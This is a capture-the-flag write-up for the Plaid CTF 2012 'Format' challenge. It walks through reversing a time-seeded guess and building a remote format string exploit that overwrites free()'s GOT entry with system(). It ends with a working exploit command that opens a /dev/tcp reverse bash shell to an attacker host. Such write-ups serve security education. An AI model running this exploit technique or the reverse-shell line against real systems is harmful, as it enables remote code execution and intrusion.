Plaid CTF 2012 – Format

Format is exactly what you’d expect: a remote format string exploit. To get to the format string takes a little bit of reversing first, but it’s not too hard.

First of all the server asks for a password. The password is actually a static string in the binary, so this bit is probably just to prevent people from playing it before the challenge is actually supposed to be “open”.

user@box:~/format$ strings problem
Access denied
Wrong value!
Your guess was 
You win!  Thanks for playing, 

So yeah, the password is 2ipzLTxTGOtJE0Um. Next it asks for your name, and then a “guess”. It will then print “Wrong value!”, so it seems likely we need to figure out what input it expects before we can go any further.

Let’s use ltrace:

user@box:~/format$ ltrace ./problem
__libc_start_main(0x80487b9, 1, 0xffa1f514, 0x8048ab0, 0x8048b20 <unfinished ...>
printf("Password: ")                                                                                    = 10
fflush(0xf77554e0Password: )                                                                                      = 0
"2ipzLTxTGOtJE0Um\n", 64, 0xf7755440)                                                             = 0xffa1f2f0
time(0xffa1f454)                                                                                        = 1336030109
srand(0x153c520, 64, 0xf7755440, 0, 0x7a706932)                                                         = 0
rand(0x153c520, 64, 0xf7755440, 0, 0x7a706932)                                                          = 0x5ca908aa
fopen("/dev/null", "w")                                                                                 = 0x8a03008
printf("Name: ")                                                                                        = 6
fflush(0xf77554e0Name: )                                                                                      = 0
"%x%x\\\n", 256, 0xf7755440)                                                                      = 0xffa1f334
printf("Guess: ")                                                                                       = 7
fflush(0xf77554e0Guess: )                                                                                      = 0
"344535453\n", 32, 0xf7755440)                                                                    = 0xffa1f434
atoi(0xffa1f434, 32, 0xf7755440, 0, 0x7a706932)                                                         = 0x1489319d
puts("Wrong value!"Wrong value!
)                                                                                    = 13
exit(1 <unfinished ...>
+++ exited (status 1) +++

The atoi() shows that it expects our guess to be a number. The time(), srand(), rand() sequence shows that the correct value probably depends on the time. Actually when you look at the value passed to srand you can see some relation to the value returned by time():

>>> 0x153c520
>>> 1336030109
>>> 1336030109 / 60

You can also get this by reversing, but gcc compiles division by a constant to a pretty unreadable series of shifts and a multiplication. So you either need a decompiler that understands this optimization, a piece of paper and a good head for fixed point arithmetic, or you just cheat like we do and compare the input and output values to get the divisor.

So it looks like the call is simply srand(time() / 60). Let’s make a simple C program that does this for us and see if that is all:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {

And if you are fast enough copy/pasting you can see it works:

user@box:~/format$ gcc -o time time.c
user@box:~/format$ /tmp/time
user@box:~/format$ /tmp/problem 
Password: 2ipzLTxTGOtJE0Um
Name: %x
Guess: 1287864740
Your guess was 1287864740
You win!  Thanks for playing, 0
Bye, 0

You can also see our format string being evaluated there πŸ™‚

This is a bit annoying however, so let’s make a bash script.

user@box:~/format$ (echo 2ipzLTxTGOtJE0Um; echo '%x%x%x'; ./time; sleep 1) | ./problem
Password: Name: Guess: Your guess was 375133347
You win!  Thanks for playing, 07a7069325478544c
Bye, 007a706932

Works fine! You can also see our format string is apparently evaluated twice, with different things on the stack in each case.

Let’s use ltrace again to see what it’s doing exactly:

user@box:~/format$ (echo 2ipzLTxTGOtJE0Um; echo '%x%x%x'; ./time; sleep 1) | ltrace ./problem
__libc_start_main(0x80487b9, 1, 0xffe056a4, 0x8048ab0, 0x8048b20 <unfinished ...>
printf("Password: ")                                                                                    = 10
fflush(0xf77514e0Password: )                                                                                      = 0
fgets("2ipzLTxTGOtJE0Um\n", 64, 0xf7751440)                                                             = 0xffe05480
time(0xffe055e4)                                                                                        = 1336031285
srand(0x153c534, 64, 0xf7751440, 0, 0x7a706932)                                                         = 0
rand(0x153c534, 64, 0xf7751440, 0, 0x7a706932)                                                          = 0x7232da6d
fopen("/dev/null", "w")                                                                                 = 0x9bfe008
printf("Name: ")                                                                                        = 6
fflush(0xf77514e0Name: )                                                                                      = 0
fgets("%x%x%x\n", 256, 0xf7751440)                                                                      = 0xffe054c4
printf("Guess: ")                                                                                       = 7
fflush(0xf77514e0Guess: )                                                                                      = 0
fgets("1915935341\n", 32, 0xf7751440)                                                                   = 0xffe055c4
atoi(0xffe055c4, 32, 0xf7751440, 0, 0x7a706932)                                                         = 0x7232da6d
printf("Your guess was ")                                                                               = 15
printf("1915935341\n"Your guess was 1915935341
)                                                                                  = 11
fflush(0xf77514e0)                                                                                      = 0
printf("You win!  Thanks for playing, ")                                                                = 30
fflush(0xf77514e0You win!  Thanks for playing, )                                                                                      = 0
malloc(256)                                                                                             = 0x09bfe170
snprintf("07a7069325478544c\n", 256, "%x%x%x\n", 0, 0x7a706932, 0x5478544c)                             = 18
vprintf(0x9bfe170, 0xffe05474, 0x8048ba1, 0xffe05468, 0xf763eb5207a7069325478544c
)                                       = 18
fflush(0xf77514e0)                                                                                      = 0
free(0x09bfe170)                                                                                        = <void>
openlog("fff", 0, 0)                                                                                    = <void>
syslog(0, "%x%x%x\n", 0, 0, 0x7a706932)                                                                 = <void>
closelog()                                                                                              = <void>
asprintf(0xffe054c0, 0xffe054c4, 0, 0, 0x7a706932)                                                      = 11
printf("Bye, ")                                                                                         = 5
printf("007a706932\n"Bye, 007a706932
)                                                                                  = 11
fflush(0xf77514e0)                                                                                      = 0
free(0x09c003e0)                                                                                        = <void>
fprintf(0x9bfe008, "")                                                                                  = 0
+++ exited (status 0) +++

Ok so this is a bit overkill, our format string is actually used THREE times! First in a snprintf call, the result of which is passed to a vprintf call. Then in a syslog() call (the second argument to syslog is a format string). And finally there’s the plain old boring printf() with our user input used as a format string. We’ll just go for the snprintf call, since the buffer limit doesn’t prevent format string exploitation.

First we need to decide how to use the format string vulnerability to gain code execution. There are no really interesting functions in the imports, so we have to find the offset of one by ourselves. Luckily there is no ASLR being used, otherwise this would have been a bit more difficult.

We first decide which GOT pointer we want to overwrite. Since we’re exploiting the snprintf, we choose to overwrite the slot for free(). In the ltrace output you can see that it is called shortly after our format string is evaluated, and even more important: the argument passed to it is a buffer which contains our input. So if we overwrite the GOT pointer for free() with a pointer to system(), our user input will be passed to system() and we’re done.

Taking a look at the plt entry for free():

080485dc <free@plt>:
 80485dc:       ff 25 18 9e 04 08       jmp    DWORD PTR ds:0x8049e18
 80485e2:       68 30 00 00 00          push   0x30
 80485e7:       e9 80 ff ff ff          jmp    804856c <srand@plt-0x10>

We can see the GOT entry for free() is at 0x8049e18. We’ll overwrite it using two half-overlapping 32-bit writes, so the pointers we need to write to are 0x8049e18 and 0x8049e1a.

Next we set up our format string so that we have the pointers to write to at a known argument offset. We’ll reserve the first 128 bytes of the buffer for a shell command (since our buffer will eventually be passed to system()). After that come two pointers that we’ll write to, and after that come the format specifiers that perform the actual overwrite.

(echo 2ipzLTxTGOtJE0Um; printf "%-128s\x18\x9e\x04\x08\x1a\x9e\x04\x08%s\n" "shell command goes here" '%51$08x%52$08x'; ./time; echo) | nc 56345

This uses the bash printf command to construct the format string. The shell command will be padded to 128 bytes. The two pointers are given as inline hex escapes (since the bash printf understands these) and the actual format specifiers that we want to pass to the program are given as an argument so bash will not evaluate them.

Eh, it’s hard to explain. Just look at the command, it makes sense πŸ™‚

When you run this command it should echo the two pointers back to you. If it doesn’t, the argument offsets (51 and 52) are incorrect; just play with them until they are correct. Note that this only works this nicely because our input string is stored in a stack buffer (note the very high address returned by fgets in the ltrace output), so it always ends up at the same argument offset. If it had been a heap buffer instead it would not have been possible in the general case to know what argument offsets will return data from your buffer.

So now we have the two pointers we want to write to at a known offset, but what is the value we want to write? We still need to know the offset at which libc is loaded before we know at what address system() is located. No problem, since we have a pointer to the GOT at a known argument offset we can just dump the GOT from that point until the first NUL byte by using the %s format specifier:

(echo 2ipzLTxTGOtJE0Um; printf "%-128s\x18\x9e\x04\x08\x1a\x9e\x04\x08%s\n" "shell command goes here" '%51$s'; ./time; echo) | nc 56345 | hd

Note the hexdump command at the end of the pipe; otherwise you’ll have a hard time interpreting the binary data that comes back.

So now you have a dump of the GOT from address 0x8049e18 onwards. The relevant part should look like this:

00000190  20 20 20 20 20 20 20 18  9e 04 08 1a 9e 04 08 e0  |................|
000001a0  f8 ef f7 c0 92 f5 f7 20  b8 ee f7 10 be ee f7 b0  |....... ........|
000001b0  65 ed f7 f0 64 ed f7 80  cc eb f7 52 86 04 08 c0  |e...d......R....|
000001c0  8f f1 f7 c0 f9 ef f7 82  86 04 08 70 f2 eb f7 e0  |...........p....|
000001d0  8f f5 f7 30 65 ed f7 c2  86 04 08 0a              |...0e.......|

First you can see it printed some spaces, which is our padding for the shell command. After that come our two pointers, and after that comes the GOT data which is dumped by the %s format specifier.

This means free() is located at 0xf7eff8e0. Now let’s look at the supplied libc:

user@box:~/format$ objdump -T libc.so.6  | grep 'system\|free'
0009d100 g    DF .text	0000005c  GLIBC_2.1   globfree64
000ba0f0 g    DF .text	0000005a  GLIBC_2.1   wordfree
00144384  w   DO .bss	00000004  GLIBC_2.0   __free_hook
000f5820 g    DF .text	00000042  GLIBC_2.0   svcerr_systemerr
0010fcc0 g    DF __libc_thread_freeres_fn	00000036  GLIBC_PRIVATE __libc_thread_freeres
00023570 g    DF .text	000000c3  GLIBC_2.1   __freelocale
000aae60  w   DF .text	00000060  GLIBC_2.0   regfree
000708e0  w   DF .text	000000d8  GLIBC_2.0   cfree
00039450 g    DF .text	0000007d  GLIBC_PRIVATE __libc_system
000a5fa0 g    DF .text	00000023  GLIBC_2.7   __sched_cpufree
00023570  w   DF .text	000000c3  GLIBC_2.3   freelocale
00039450  w   DF .text	0000007d  GLIBC_2.0   system
0006a460 g    DF .text	00000053  GLIBC_2.0   _IO_free_backup_area
000eab90 g    DF .text	00000023  GLIBC_2.3   freeifaddrs
00063240 g    DF .text	00000059  GLIBC_2.2   _IO_free_wbackup_area
000f7dd0 g    DF .text	0000001f  GLIBC_2.0   xdr_free
00073880 g    DF .text	00000082  GLIBC_2.0   obstack_free
000708e0 g    DF .text	000000d8  GLIBC_2.0   __libc_free
000a6110 g    DF .text	00000044  GLIBC_2.0   freeaddrinfo
0010f6b0 g    DF __libc_freeres_fn	00000081  GLIBC_2.1   __libc_freeres
000ea810 g    DF .text	00000048  GLIBC_2.1   if_freenameindex
0009afa0 g    DF .text	0000005c  GLIBC_2.0   globfree
00073880 g    DF .text	00000082  GLIBC_2.0   _obstack_free
000708e0 g    DF .text	000000d8  GLIBC_2.0   free

So system is at offset 0x39450 in libc and free is at 0x708e0. We now have all the info we need to calculate the address where system() is loaded:

user@box:~$ python
Python 2.7.1+ (r271:86832, Apr 11 2011, 18:13:53) 
[GCC 4.5.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xf7eff8e0 - 0x708e0 + 0x39450)

So that’s the value we want to write. As mentioned before, we’re going to write this value in two parts. This is because we can only write a value representing the total number of bytes output by the format string (using the %n format specifier), and otherwise we’d have to make it spit out 0xf7ec8450 bytes before being able to write the correct value.

Instead we’ll first write a value to 0x8049e18 that has the lower 16 bits set to the desired value. Then, we’ll fix the other two bytes by performing another write at 0x8049e1a. Because this address is two higher than the previous write, the lowest 16 bits of this second write will overwrite the upper 16 bits of the previous write (since the x86 cpu is a little-endian system, the least significant bytes are stored first).

We first we have to make the least significant 16 bits of the bytes_written counter equal to 0x8450, perform the first write, make the least significant bits equal to 0xf7ec, and perform the second write. Also remember that by the time snprintf() reaches our format specifiers it will have already written our 128-byte shell command and 2 * 4 byte pointer values.

already_written = 128+2*4
padding = 0x8450 - (128+2*4) = 33736
padding2 = 0xf7ec - 0x8450 = 29596

So the final exploit becomes:

(echo 2ipzLTxTGOtJE0Um; printf "%-128s\x18\x9e\x04\x08\x1a\x9e\x04\x08%s\n" "/usr/bin/env bash -c 'exec>/dev/tcp/<&1 2>&1;id;bash -i'&" '%51$33736x%51$n%52$29596x%52$n'; ./time; echo) | nc 56345

As you can see I also filled in a shell command that launches a connectback shell to You’ll have to fill in your own ip of course, but then you should see a shell!

Comments are closed.